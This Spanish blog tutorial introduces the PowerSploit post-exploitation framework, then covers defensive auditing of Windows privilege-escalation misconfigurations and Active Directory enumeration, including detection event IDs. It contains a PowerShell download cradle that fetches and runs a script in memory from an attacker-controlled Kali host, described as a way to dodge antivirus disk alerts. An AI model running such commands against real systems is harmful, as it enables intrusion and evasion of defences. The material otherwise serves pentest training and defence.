PowerSploit PowerShell post-explotación, evasión de antivirus, reconocimiento de red

 

https://www.onlinetis.com

PowerSploit PowerShell post-explotación, evasión de antivirus, reconocimiento de red

PowerSploit es una colección de módulos de PowerShell diseñados para ser utilizados en todas las fases de una prueba de penetración (pentesting) en entornos Windows (post-explotación, evasión de antivirus, reconocimiento de red, etc.).

Estado actual de PowerSploit

Nota importante: El proyecto oficial de PowerSploit está descontinuado (deprecated) y ya no recibe mantenimiento. A pesar de esto, sigue siendo muy utilizado en entornos de laboratorio y en la certificación OSCP para entender los fundamentos de la post-explotación con PowerShell.

1. Ubicación e Instalación en Kali Linux

En Kali Linux, el paquete suele estar disponible en los repositorios o en la carpeta de herramientas de explotación de Windows.

Para instalarlo en Kali Linux:

Bash
sudo apt update
sudo apt install powersploit

Una vez instalado, los scripts se guardan habitualmente en:

Bash
/usr/share/powersploit/

Si prefieres la versión más reciente del repositorio original de GitHub, puedes clonarlo directamente:

Bash
git clone https://github.com/PowerShellMafia/PowerSploit.git

2. Estructura de Módulos Principales

PowerSploit está dividido en varios directorios según su función:

  • CodeExecution/: Ejecución de código (ej. Invoke-DllInjection, Invoke-Shellcode).

  • Recon/: Reconocimiento de red y del dominio de Active Directory (PowerView se encuentra aquí).

  • Privesc/: Escalada de privilegios en el sistema local (PowerUp).

  • AntivirusBypass/: Técnicas para eludir la detección de soluciones antivirus/EDR.

  • Exfiltration/: Extracción de credenciales y volcado de memoria (ej. Invoke-Mimikatz).

  • Persistence/: Creación de accesos persistentes en la máquina objetivo.

3. Uso Básico (Paso a Paso)

A. Iniciar un servidor web local en Kali Linux

Para transferir u ofrecer los scripts de PowerSploit a la máquina objetivo, levanta un servidor HTTP en Kali desde la carpeta de la herramienta:

Bash
cd /usr/share/powersploit/
python3 -m http.server 8080

B. Descargar e importar módulos en la máquina Windows objetivo

En la terminal de PowerShell del objetivo, puedes descargar e importar el script directamente en memoria sin guardarlo en el disco (evitando activar algunas alertas en disco del antivirus):

PowerShell
IEX(New-Object Net.WebClient).DownloadString('http://<IP_DE_KALI>:8080/Privesc/PowerUp.ps1')

C. Ejecutar funciones del módulo

Una vez importado, puedes usar las funciones que incluye. Por ejemplo, con PowerUp puedes auditar configuraciones vulnerables del sistema:

PowerShell
# Ejecuta todas las comprobaciones de escalada de privilegios
Invoke-AllChecks

4. Alternativas Actuales

Debido a que PowerSploit no recibe actualizaciones y Windows Defender detecta fácilmente la mayoría de sus módulos en disco:

  • PowerView / BloodHound: Para reconocimiento en Active Directory.

  • PrivescCheck: Alternativa moderna y actualizada a PowerUp para auditoría de privilegios locales en Windows.

  • Impacket: Colección de herramientas en Python integrada en Kali para interactuar con protocolos de red de Windows.

 

Puedo, explicar los conceptos teóricos detrás de las vulnerabilidades comunes de escalada de privilegios locales en Windows y cómo auditar y corregir estas configuraciones desde una perspectiva defensiva.

Conceptos de Escalada de Privilegios Locales en Windows

Las herramientas de auditoría como PowerUp buscan misconfiguraciones en el sistema operativo que permiten a un usuario sin privilegios ejecutar código en el contexto de una cuenta con mayores derechos (como SYSTEM o Administrator).

Las vulnerabilidades más comunes incluyen:

  1. Rutas de servicio no entrecomilladas (Unquoted Service Paths):

    Ocurre cuando la ruta del ejecutable de un servicio contiene espacios y no está entrecomillada. Si el usuario tiene permisos de escritura en alguno de los directorios intermedios, Windows puede intentar ejecutar un archivo malicioso antes del ejecutable legítimo.

  2. Permisos débiles en servicios (Modifiable Services):

    Si un usuario no privilegiado tiene permisos para modificar la configuración de un servicio (por ejemplo, el parámetro BINARY_PATH_NAME), puede cambiar el comando que ejecuta el servicio por otro de su elección.

  3. Permisos de archivo inseguros en ejecutables de servicios:

    Ocurre cuando un servicio se ejecuta con privilegios elevados, pero el propio archivo ejecutable .exe tiene permisos de escritura para usuarios estándar, permitiendo reemplazarlo.

  4. Archivos de instalación no atendida (Unattended Install Files):

    Ficheros de configuración de despliegue (como sysprep.xml o unattend.xml) que contienen credenciales codificadas en texto plano o base64.

Auditoría y Remediación Defensiva

Para identificar y mitigar estas vulnerabilidades de forma segura y nativa en Windows:

1. Identificación de Rutas de Servicio No Entrecomilladas

Se puede utilizar PowerShell nativo para listar servicios cuyas rutas tengan espacios y carezcan de comillas:

PowerShell
Get-WmiObject win32_service | 
  Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -like '* *' } | 
  Select-Object Name, PathName, StartMode

Remediación: Entrecomillar la ruta en el registro de Windows (HKLM\SYSTEM\CurrentControlSet\Services\<Nombre_Servicio>) usando regadd o modificando la clave correspondiente.

2. Inspección de Permisos en Servicios

Para verificar los permisos de un servicio específico desde la línea de comandos de Windows:

DOS
sc.exe sdshow "NombreDelServicio"

O utilizando la herramienta oficial de Sysinternals, accesschk.exe:

DOS
accesschk.exe -c "NombreDelServicio"

Remediación: Asegurarse de que solo grupos administrativos (Administrators, SYSTEM) tengan permisos de modificación (SERVICE_CHANGE_CONFIG o SERVICE_ALL_ACCESS) sobre el servicio.

3. Verificación de Permisos en Archivos de Servicio

Para comprobar quién tiene permisos de escritura en la carpeta o binario de un servicio:

PowerShell
Get-Acl "C:\Ruta\Al\Ejecutable.exe" | Format-List

Remediación: Restringir los permisos del archivo para que los usuarios estándar (Users o Everyone) solo tengan permisos de lectura y ejecución.

 

Puedo explicar la arquitectura subyacente de las consultas en Active Directory a través de LDAP, cómo auditar la estructura del dominio desde una perspectiva de administración defensiva utilizando el módulo nativo ActiveDirectory, y las estrategias para detectar este tipo de enumeración.

Conceptos del Reconocimiento en Active Directory

Active Directory (AD) está diseñado por omisión para permitir que cualquier usuario autenticado del dominio pueda consultar la estructura del directorio. Esto es necesario para el funcionamiento normal de la red (localizar impresoras, recursos compartidos, controladores de dominio o verificar permisos de grupo).

La mayoría de las herramientas de enumeración no utilizan exploits; simplemente emiten consultas LDAP (Lightweight Directory Access Protocol) estándar al Controlador de Dominio (DC) solicitando objetos como:

  • Usuarios y Grupos: Atributos de cuentas de usuario, miembros de grupos privilegiados (como Domain Admins).

  • Equipos: Sistemas unidos al dominio, sistemas operativos y roles.

  • Políticas de Grupo (GPO): Configuraciones aplicadas a nivel de Unidad Organizativa (OU).

  • Relaciones de Confianza (Trusts): Conexiones entre distintos dominios o bosques.

Auditoría Defensiva con el Módulo Nativo ActiveDirectory

Desde el punto de vista de la administración de sistemas y la auditoría de seguridad, la plataforma recomendada por Microsoft para inspeccionar la estructura del dominio son las Herramientas de administración remota del servidor (RSAT), que incluyen el módulo nativo de PowerShell ActiveDirectory.

1. Información del Dominio y Bosque

Para obtener los detalles del dominio actual y la ubicación de los controladores de dominio:

PowerShell
# Obtener información básica del dominio actual
Get-ADDomain

# Listar los controladores de dominio activos
Get-ADDomainController -Filter * | Select-Object Name, IPv4Address, OperatingSystem

2. Auditoría de Cuentas de Usuario y Grupos Privilegiados

Para revisar cuentas activas o identificar qué usuarios pertenecen a grupos críticos:

PowerShell
# Listar miembros del grupo Administradores del Dominio
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object Name, SamAccountName, objectClass

# Identificar cuentas con la propiedad 'PasswordNeverExpires' activada
Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires | Select-Object Name, SamAccountName

3. Inventario de Equipos en el Dominio

Para realizar un inventario de los sistemas registrados y sus versiones de sistema operativo:

PowerShell
Get-ADComputer -Filter * -Properties OperatingSystem, OperatingSystemVersion | Select-Object Name, OperatingSystem, OperatingSystemVersion

Detección y Monitoreo de Consultas Masivas en el DC

Dado que la enumeración genera un alto volumen de tráfico LDAP, los equipos defensivos (Blue Team) utilizan diversas fuentes de eventos para identificar patrones de reconocimiento inusuales:

  1. Evento ID 1644 (Controlador de Dominio):

    Registra búsquedas LDAP ineficientes o costosas. Las herramientas que intentan traer grandes volúmenes de objetos del directorio suelen desencadenar esta alerta si no aplican filtros específicos.

  2. Monitoreo de Consultas LDAP Anómalas (Event ID 4662 / MDI):

    Herramientas como Microsoft Defender for Identity analizan el comportamiento en tiempo real. Si una cuenta de usuario estándar sin actividad previa comienza a consultar recursivamente todos los grupos, SPNs (Service Principal Names) o relaciones de confianza del bosque, se genera una alerta por Active Directory Reconnaissance.

  3. Mecanismos de Decepción (Honey Objects):

    Consiste en crear cuentas de usuario o grupos ficticios con nombres atractivos (ej. admin_backup o sql_svc) que no tienen uso legítimo. Cualquier consulta LDAP orientada a estos objetos genera una alerta inmediata de posible reconocimiento.

    https://www.onlinetis.com

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux